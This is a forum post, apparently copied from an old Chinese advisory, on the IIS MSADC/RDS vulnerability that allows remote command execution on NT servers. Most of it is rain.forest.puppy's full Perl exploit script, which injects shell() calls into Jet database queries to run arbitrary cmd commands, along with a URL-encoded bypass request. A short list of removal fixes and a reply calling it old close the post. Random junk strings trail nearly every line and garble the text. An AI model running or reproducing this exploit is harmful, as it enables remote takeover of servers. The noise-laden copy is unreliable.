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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) NG'VlT  
EFql g9bK  
涉及程序: d?N"NqaN  
Microsoft NT server NH 'RU`U)  
+7 F7Kh  
描述: H.idL6*G  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 P+}qaup  
q'(WIv@  
详细: !+ uMH!  
如果你没有时间读详细内容的话,就删除: 'dWJ#9C  
c:\Program Files\Common Files\System\Msadc\msadcs.dll phXVuQ  
有关的安全问题就没有了。 ZX'{o9+w5  
h| UT/:  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 IU$bP#<  
20?i4h_  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 =_":Z!_  
关于利用ODBC远程漏洞的描述,请参看: V2VsJ  
CHeG{l)<r  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm IJ4"X#Q/  
sTG+c E  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 2)j\Lg_M  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 1.,mNY^UN  
d`~#uN {  
这里不再论述。 1xguG7  
!-.-!hBN  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: v9inBBC q  
,dVCbAS@  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset (la<X <w  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! hsqUiB tc6  
W$'pUhq\H  
C9=f=sGL  
#将下面这段保存为txt文件,然后: "perl -x 文件名" J$e.$ah;  
K,IOD t  
#!perl N7oMtlvL[w  
# J~_p2TZJ\3  
# MSADC/RDS 'usage' (aka exploit) script G4x.''r&Sl  
# Z;>~<#!4  
# by rain.forest.puppy J`RNik*>  
# IN%>46e`  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me }2NH>qvY  
# beta test and find errors! =fsaJ@q ,R  
d:pp,N~2o  
use Socket; use Getopt::Std; h.?[1hT4R  
getopts("e:vd:h:XR", \%args); "L8V!M_e  
awkVjyqX  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; izC>-  
LpmspIPvf  
if (!defined $args{h} && !defined $args{R}) { 9d{W/t?NH  
print qq~ =k$d8g ez  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Q%eBm_r;  
-h <host> = host you want to scan (ip or domain) ^1~/FU  
-d <seconds> = delay between calls, default 1 second pM46I"  
-X = dump Index Server path table, if available !r LHPg  
-v = verbose Hzj*X}X#K  
-e = external dictionary file for step 5 $AXz/fGV  
.oK7E(QJ  
Or a -R will resume a command session &\"fH+S  
QIV<!SO  
~; exit;} p9s~WD/K  
25ayYO%PTc  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; cw5YjQ8 9  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} jSG jv>  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} :%>8\q>UX  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); M`>W'<  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} M:I,j  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } F}AbA pTv  
=d5!O~}r>  
if (!defined $args{R}){ $ret = &has_msadc; W^Rb~b^?  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} J.nVEqLZ  
xlwsZm{V  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 'I<j`)4`d  
. "cmd /c "; L3GJq{t  
$in=<STDIN>; chomp $in; 'D/AL\1{p(  
$command="cmd /c " . $in ; +.N;h-'  
; zvnDox  
if (defined $args{R}) {&load; exit;} /y!Vs`PZ!  
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print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; A0]o/IBz  
&try_btcustmr; Tb)x8-0  
{30<Vc=  
print "\nStep 2: Trying to make our own DSN..."; CYn}wkz  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; c|.:J]  
}2 r08,m  
print "\nStep 3: Trying known DSNs..."; SW; b E  
&known_dsn; ]rNfr-  
+[qkG. O  
print "\nStep 4: Trying known .mdbs..."; L_.}z)S[\  
&known_mdb; u!-eP7;7  
0*AlLwO  
if (defined $args{e}){ ua[\npz5  
print "\nStep 5: Trying dictionary of DSN names..."; V8sY7QK=  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }  ~Afs  
3> (`Y  
print "Sorry Charley...maybe next time?\n"; 9@1W=sl  
exit; ~>C>LH>8  
*Qf }4a0  
############################################################################## 7wqwDE  
7_3O]e[8  
sub sendraw { # ripped and modded from whisker "J.jmR;  
sleep($delay); # it's a DoS on the server! At least on mine... Tk!b`9  
my ($pstr)=@_; `o3d@Vc  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || \k,bz 0  
die("Socket problems\n"); M/DTD98'N  
if(connect(S,pack "SnA4x8",2,80,$target)){ :3t])mL#   
select(S); $|=1; h0eo:Ahi  
print $pstr; my @in=<S>; m2! 7M%]GC  
select(STDOUT); close(S); TkBBHg;  
return @in; "EHc&,B`  
} else { die("Can't connect...\n"); }} kb:C>Y8!sC  
bn`zI~WS  
############################################################################## RnrM rOh  
j<KC$[Kt  
sub make_header { # make the HTTP request vj b?N  
my $msadc=<<EOT m#ie{u^  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Imw x~eo  
User-Agent: ACTIVEDATA 8`t%QhE2  
Host: $ip h+W^k+~(  
Content-Length: $clen bS'r}  
Connection: Keep-Alive )QE_+H}p  
10J*S[n1  
ADCClientVersion:01.06 (J4utw Z  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 %:,=J  
gQEV;hCO  
--!ADM!ROX!YOUR!WORLD! !LJ.L?9qw  
Content-Type: application/x-varg J50 ~B3bj`  
Content-Length: $reqlen %_[-[t3  
?>y-5B[K/(  
EOT K7.<,E"M.  
; $msadc=~s/\n/\r\n/g; 3DHm9n+/:  
return $msadc;} xAjQW=  
gAj)3T@  
############################################################################## wuk7mIJ  
q KM]wu0Et  
sub make_req { # make the RDS request ?R(3O1,v^  
my ($switch, $p1, $p2)=@_; :#/bA&  
my $req=""; my $t1, $t2, $query, $dsn; vO_quQ[.  
c7F&~RLC  
if ($switch==1){ # this is the btcustmr.mdb query X w8i l  
$query="Select * from Customers where City=" . make_shell(); .vv*bx   
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 8j'*IRj*q  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 752wK|o0|;  
vdm?d/0(^  
elsif ($switch==2){ # this is general make table query wB)+og-^1f  
$query="create table AZZ (B int, C varchar(10))"; is(!_Iv  
$dsn="$p1";} 95Qz1*TR  
p4'"Wk8  
elsif ($switch==3){ # this is general exploit table query $<cZ<g5)  
$query="select * from AZZ where C=" . make_shell(); Fsf22  
$dsn="$p1";} ;*2e;m~)?  
gQuw|u  
elsif ($switch==4){ # attempt to hork file info from index server L0kNt &di  
$query="select path from scope()"; NXBOo  
$dsn="Provider=MSIDXS;";} ?I'-C?(t@1  
v-3zav  
elsif ($switch==5){ # bad query Hl;p>>n  
$query="select"; BFO Fes`>~  
$dsn="$p1";} Oez}C,0  
.m?~TOR  
$t1= make_unicode($query); .( h$@|Y  
$t2= make_unicode($dsn); {^W,e ^:  
$req = "\x02\x00\x03\x00"; JP4Moq~r   
$req.= "\x08\x00" . pack ("S1", length($t1)); XijLS7Aw|  
$req.= "\x00\x00" . $t1 ; V]]qu:Mh8  
$req.= "\x08\x00" . pack ("S1", length($t2)); |T_Pz& -  
$req.= "\x00\x00" . $t2 ; @vYmkF`  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 'pY;]^M  
return $req;} O->eg  
fmJWd|  
############################################################################## 2&0<$>  
*Zi%Q[0Me  
sub make_shell { # this makes the shell() statement p'uz2/g  
return "'|shell(\"$command\")|'";} $ rYS   
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############################################################################## />Vx*^u8Hz  
HY4E  
sub make_unicode { # quick little function to convert to unicode F2$bUY  
my ($in)=@_; my $out;  <%D"eD  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } X`n0b<  
return $out;} b 0b9#9x  
s[q4K  
############################################################################## U"+ ry.3`  
ig}e@]  
sub rdo_success { # checks for RDO return success (this is kludge) !>< %\K  
my (@in) = @_; my $base=content_start(@in); " ^baiN@ac  
if($in[$base]=~/multipart\/mixed/){ mRH]'d lD7  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} WKl'  
return 0;} kqW<e[  
6b70w @P!  
############################################################################## Ue#yDTjc  
=Rx?6%  
sub make_dsn { # this makes a DSN for us J,G9m4Z7  
my @drives=("c","d","e","f"); {7Avba  
print "\nMaking DSN: "; P! Ed  
foreach $drive (@drives) { /iy*3P,`  
print "$drive: "; c^Jgr(Ow  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . `4.sy +2  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Ig3(|{R  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); g]<Z]R`  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; G'2=jHzMF  
return 0 if $2 eq "404"; # not found/doesn't exist fG2&/42J  
if($2 eq "200") { =O#AOw`  
foreach $line (@results) { rz }l<t~H  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 0BB @E(*  
} return 0;} rm=~^eB  
:{s%=\k {d  
############################################################################## {!1n5a3" 1  
g!p_c  
sub verify_exists { G;HlII9x[  
my ($page)=@_; 2c~?UK[1  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ^i+ z_%V  
return $results[0];}  g1wI/  
kbYg4t]FH  
############################################################################## L-C/Luws  
U`9\P2D`/  
sub try_btcustmr { Gr"7w[|+  
my @drives=("c","d","e","f"); GoSWH2N  
my @dirs=("winnt","winnt35","winnt351","win","windows"); L%K_.!d^  
,(0XsBL  
foreach $dir (@dirs) { [k~+(.2I  
print "$dir -> "; # fun status so you can see progress ]Ec[")"kT  
foreach $drive (@drives) { I0HY#z%  
print "$drive: "; # ditto *_<*bhR<  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; gn W~KLqH  
$reqlenlen=length( "$reqlen" ); r.wIk0  
$clen= 206 + $reqlenlen + $reqlen; N9=r#![>,  
2v9s@k/k)6  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); K%c ATA3  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} U=i8>6V  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} R;E"Qdt  
]X: rby$  
############################################################################## R_Gq8t$  
!+A"Lej  
sub odbc_error { ^?X ^+  
my (@in)=@_; my $base; j t`p<gI  
my $base = content_start(@in); 7#9'2dI  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 380->  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; # 5f|1O  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; (Cl`+ V  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; `,-hG  
return $in[$base+4].$in[$base+5].$in[$base+6];} rF'^w56  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; R'9@A\7#  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . IN|i)?r h  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ,-7/]h,l  
OHP3T(Q5  
############################################################################## HcBH!0  
j,56Lh%1  
sub verbose { Vr-3M+l=O  
my ($in)=@_; L`\`NNQC  
return if !$verbose; *mQDS.'AB@  
print STDOUT "\n$in\n";} RC8)f8n  
QFNz9c  
############################################################################## ^?6 W<  
B)DC,+@$  
sub save { <Id1:  
my ($p1, $p2, $p3, $p4)=@_; F/h:&B:;  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; )pS_+ZF  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; V^ fGRA  
close OUT;} {FJX  
M8?#%x6;N  
############################################################################## urrO1  
u_4:#~b  
sub load { g8+4$2`ny  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; *H%0Gsk  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 6>=-/)p}  
@p=<IN>; close(IN); $ o5V$N D  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); T^'*_*m  
$target= inet_aton($ip) || die("inet_aton problems");  ?+ -/';  
print "Resuming to $ip ..."; AY&9JSu 6  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; =MJ-s;raq  
if($p[1]==1) { T+K` ^xv_L  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; %;<k(5bhGJ  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; J\xz^%p  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); <t[Z9s$n  
if (rdo_success(@results)){print "Success!\n";} W>?f^C!+m  
else { print "failed\n"; verbose(odbc_error(@results));}} F8uRT&m B0  
elsif ($p[1]==3){ [>$\s=` h  
if(run_query("$p[3]")){ . QQ?w  
print "Success!\n";} else { print "failed\n"; }} zL)1^[%O9  
elsif ($p[1]==4){ lTV@b&  
if(run_query($drvst . "$p[3]")){ o5=)~D{/G3  
print "Success!\n"; } else { print "failed\n"; }} NoJnchiU  
exit;} &h7smZO5j  
_@#uIOcE  
############################################################################## ;/?Z<[B  
>}<29Ii  
sub create_table { |t&G&)~:  
my ($in)=@_; 0NCOz(L/  
$reqlen=length( make_req(2,$in,"") ) - 28; bl" (<TM  
$reqlenlen=length( "$reqlen" ); 9<t9a f\.>  
$clen= 206 + $reqlenlen + $reqlen; J|gdO+  
my @results=sendraw(make_header() . make_req(2,$in,"")); Ei{(  
return 1 if rdo_success(@results); a%Z4_ToLZ  
my $temp= odbc_error(@results); verbose($temp); VQy 9Y  
return 1 if $temp=~/Table 'AZZ' already exists/; M.xhVgFf)  
return 0;} Hi; K"H]x1  
OX)#F'Sl}  
############################################################################## N+\oFbE  
`7QvwXsH]  
sub known_dsn { u8-a-k5<  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go MtpU~c  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", MiSja#"+A  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ]5} -y3  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); +,&m7L  
%uGleY]~  
foreach $dSn (@dsns) { wO^$!zB W  
print "."; i7S>RB  
next if (!is_access("DSN=$dSn")); .)i O Du  
if(create_table("DSN=$dSn")){ +=ZWau   
print "$dSn successful\n"; CN\|_y  
if(run_query("DSN=$dSn")){ K/f>f;c  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { FF%\g J  
print "Something's borked. Use verbose next time\n";}}} print "\n";} OwG6i|q  
+={  
############################################################################## *F\T}k7  
mJ0}DJiX$  
sub is_access { ZR!cQ oV=  
my ($in)=@_;  OLk9A  
$reqlen=length( make_req(5,$in,"") ) - 28; Ci]'G>F@"  
$reqlenlen=length( "$reqlen" ); t MxsR >sH  
$clen= 206 + $reqlenlen + $reqlen; F5FNhuC  
my @results=sendraw(make_header() . make_req(5,$in,"")); Zz"I.$$[M  
my $temp= odbc_error(@results); Rro?q  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); h]kn%?fpmB  
return 0;} Z"6 2#VM  
cr76cYq"Q  
############################################################################## dV5PhP>6  
'ox0o:  
sub run_query { cJxW;WI!,  
my ($in)=@_; d{QMST2&  
$reqlen=length( make_req(3,$in,"") ) - 28; &_"ORqn&  
$reqlenlen=length( "$reqlen" ); SX1X< 9  
$clen= 206 + $reqlenlen + $reqlen; o2;(VSKhS  
my @results=sendraw(make_header() . make_req(3,$in,"")); |RR"'o_E  
return 1 if rdo_success(@results); ~hS3*\^~M  
my $temp= odbc_error(@results); verbose($temp); ;Ay >+M2O  
return 0;} ~ A^E  
G;2R]H#p  
############################################################################## -Nsk}Rnk*  
siZr@g!L  
sub known_mdb { KKLR'w,A>  
my @drives=("c","d","e","f","g"); ]YCPyc:  
my @dirs=("winnt","winnt35","winnt351","win","windows"); W*YxBn4  
my $dir, $drive, $mdb; lemVP'cn  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; p Tcbq  
h7bPAW=(  
# this is sparse, because I don't know of many EfFz7j&X  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Yuwc$Qp)  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", j(0Ilx|7v  
"\\system32\\certmdb.mdb", rpUy$qrRc  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% j_!bT!8  
}TSgAwsbC  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", MVeF e\r  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Ee{`Y0  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", i~9?:plS  
"\\cfusion\\cfapps\\security\\realm_.mdb", }P#Vsqe V  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", J4YT)-  
"\\cfusion\\database\\cfexamples.mdb", *R5`.j =  
"\\cfusion\\database\\cfsnippets.mdb", t(}/g  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", A[RHw<  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", GHv{   
"\\cfusion\\brighttiger\\database\\cleam.mdb", Vd,'  s  
"\\cfusion\\database\\smpolicy.mdb", ID)^vwn  
"\\cfusion\\database\cypress.mdb", Dt W*n1Bt  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", `&7mHa61  
"\\website\\cgi-win\\dbsample.mdb", K'x4l,rq  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", `q%U{IR  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" z(+&wa  
); #these are just T_eJ}(p  
foreach $drive (@drives) { VLiIO"u;  
foreach $dir (@dirs){ 9*4 .  
foreach $mdb (@sysmdbs) { *dN N<  
print "."; vwVVBG;t  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ yB.G=90  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; IrJ+Jov  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ NeHx2m+  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; BYS lKTh  
} else { print "Something's borked. Use verbose next time\n"; }}}}} P^"R4T  
M~als3  
foreach $drive (@drives) { ,"B?_d6  
foreach $mdb (@mdbs) { (4~X}:  
print "."; Mal<iNN  
if(create_table($drv . $drive . $dir . $mdb)){ ba8 6 N  
print "\n" . $drive . $dir . $mdb . " successful\n"; tmp6hB  
if(run_query($drv . $drive . $dir . $mdb)){ bMsECA&  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 8q0I:SJy  
} else { print "Something's borked. Use verbose next time\n"; }}}} y=w`w>%  
} [q1Unm  
}g>kpa0c  
############################################################################## Y=E9zUF  
Rv,82iEKs  
sub hork_idx { qYK4)JP  
print "\nAttempting to dump Index Server tables...\n"; k=?^){[We  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Jn=42Q:>  
$reqlen=length( make_req(4,"","") ) - 28; mwIk^Sz]@  
$reqlenlen=length( "$reqlen" ); UgR :qjI  
$clen= 206 + $reqlenlen + $reqlen; _5b0wdB  
my @results=sendraw2(make_header() . make_req(4,"","")); q]TqI' o  
if (rdo_success(@results)){ bw9 nB{C<  
my $max=@results; my $c; my %d; _w z2  
for($c=19; $c<$max; $c++){ J_PH7Z*=,  
$results[$c]=~s/\x00//g; E tx`K5Tr]  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; #1[z;Mk0  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; *<IR9.~{6%  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; X]!D;7^  
$d{"$1$2"}="";} i E9\_MA  
foreach $c (keys %d){ print "$c\n"; } je,c7ZFO  
} else {print "Index server doesn't seem to be installed.\n"; }} /YFa ;2 W  
Q/py qe G  
############################################################################## G=|70pxU  
:k~dj C  
sub dsn_dict { :=9<  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); tw<P)V\h  
while(<IN>){ 0oSQY[ht/  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; p>q&&;fe  
next if (!is_access("DSN=$dSn")); n3$gx,KL  
if(create_table("DSN=$dSn")){ GF'f[F6oI  
print "$dSn successful\n"; Q.A \U>AgV  
if(run_query("DSN=$dSn")){ 0 _A23.Y  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { hU" F;4p  
print "Something's borked. Use verbose next time\n";}}} s)k y/ce  
print "\n"; close(IN);} )t%h[0{{  
RDJ+QOVKg  
############################################################################## oxfF`L"  
 <B )   
sub sendraw2 { # ripped and modded from whisker :3^dF}>  
sleep($delay); # it's a DoS on the server! At least on mine... zb:kanb-  
my ($pstr)=@_; =We2^W-{  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || hm\\'_u  
die("Socket problems\n"); u]E.iXp  
if(connect(S,pack "SnA4x8",2,80,$target)){ &s8<6P7  
print "Connected. Getting data"; ,[X_]e;  
open(OUT,">raw.out"); my @in; J4>;[\%m  
select(S); $|=1; print $pstr; |@RpWp>2  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} b9uBdo@o  
close(OUT); select(STDOUT); close(S); return @in; 5/?P|T   
} else { die("Can't connect...\n"); }} @ 7W?8  
 qSTWb%  
############################################################################## rslvsS:  
jXp. qK\"  
sub content_start { # this will take in the server headers c<4F4k7  
my (@in)=@_; my $c;  $:EG%jl  
for ($c=1;$c<500;$c++) { Uw)=WImz[  
if($in[$c] =~/^\x0d\x0a/){ CxDcY  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } a9l8{ 3  
else { return $c+1; }}} 8z}^jTM  
return -1;} # it should never get here actually GoIQ>n  
O~PChUU*Y  
############################################################################## 0Z HDBh  
&94W-zh  
sub funky { E'EcP4eL  
my (@in)=@_; my $error=odbc_error(@in); Wp[9beI*M  
if($error=~/ADO could not find the specified provider/){ {DwIjy31T  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; m#\[m<F  
exit;} ,Dp0fauJ  
if($error=~/A Handler is required/){ !9]d |8!  
print "\nServer has custom handler filters (they most likely are patched)\n"; ,lm=M 5b  
exit;} Z\ )C_p\-  
if($error=~/specified Handler has denied Access/){ %;|0  
print "\nServer has custom handler filters (they most likely are patched)\n"; d1]i,C~Y  
exit;}} H0>yi[2f  
f~ZEdq8  
############################################################################## 6kR\xP]Kr  
SK R1E];4  
sub has_msadc { %e? fH.)  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Td hTQ  
my $base=content_start(@results); }mk>!B}=  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); y=Q!-~5|fF  
return 0;} E\M-k\cSj  
BBnq_w"a  
######################## ;>>C)c4V"  
9v?l  
"9XfQ"P  
解决方案: Ew$I\j*  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll mgQIhXH5L  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 8P2 J2IU  
f.6~x$:)`E  
拿出来充数 哈哈
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